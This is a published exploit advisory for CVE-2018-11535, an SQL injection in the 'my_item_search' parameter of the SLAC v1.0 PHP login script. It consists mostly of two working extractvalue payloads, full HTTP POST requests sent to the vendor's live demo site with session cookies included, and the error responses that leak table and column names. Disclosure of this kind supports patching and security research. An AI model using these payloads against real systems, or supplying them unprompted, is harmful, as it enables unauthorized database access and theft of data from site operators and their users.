# # # # # 
# Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection
# Date: 29-05-2018
# Vendor Homepage: https://sitemakin.com/login-script-demo
# Exploit Author: Divya Jain
# Version: v1.0
# CVE: CVE-2018-11535
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # #
 
# Proof of Concept:
        ////////////////////////////////////////////////
          SQL Injection in "my_item_search" parameter
       ////////////////////////////////////////////////
     
    # Affected Link: demo.com/login-script-demo/users.php
     
    # Parameter "my_item_search" is exploitable using xpath injection
     
    # Payload 1: 
    my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
    # Payload 2:
    my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -
     
# POC 1 (Result: Table_name)
/////////REQUEST//////////
 
        POST /login-script-demo/users.php HTTP/1.1
        Host: sitemakin.com
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https://demo.com/login-script-demo/users.php
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 171
        Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
        Connection: close
        Upgrade-Insecure-Requests: 1
 
        my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -&submit=Search
 
/////////RESPONSE//////////
 
        <form method="post" action="/login-script-demo/users.php">
        <select class="new-url2 form-control" name="my_item">
        <br />
        <b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
        <br />
        <b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
                 <option value="all">All</option>
 
 
 
# POC 2 (Result: Column_name)
/////////REQUEST//////////
 
        POST /login-script-demo/users.php HTTP/1.1
        Host: sitemakin.com
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https://demo.com/login-script-demo/users.php
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 175
        Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
        Connection: close
        Upgrade-Insecure-Requests: 1
 
        my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -&submit=Search
 
/////////RESPONSE//////////
 
        <form method="post" action="/login-script-demo/users.php">
        <select class="new-url2 form-control" name="my_item">
        <br />
        <b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
        <br />
        <b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
                 <option value="all">All</option>
                  
################################################################################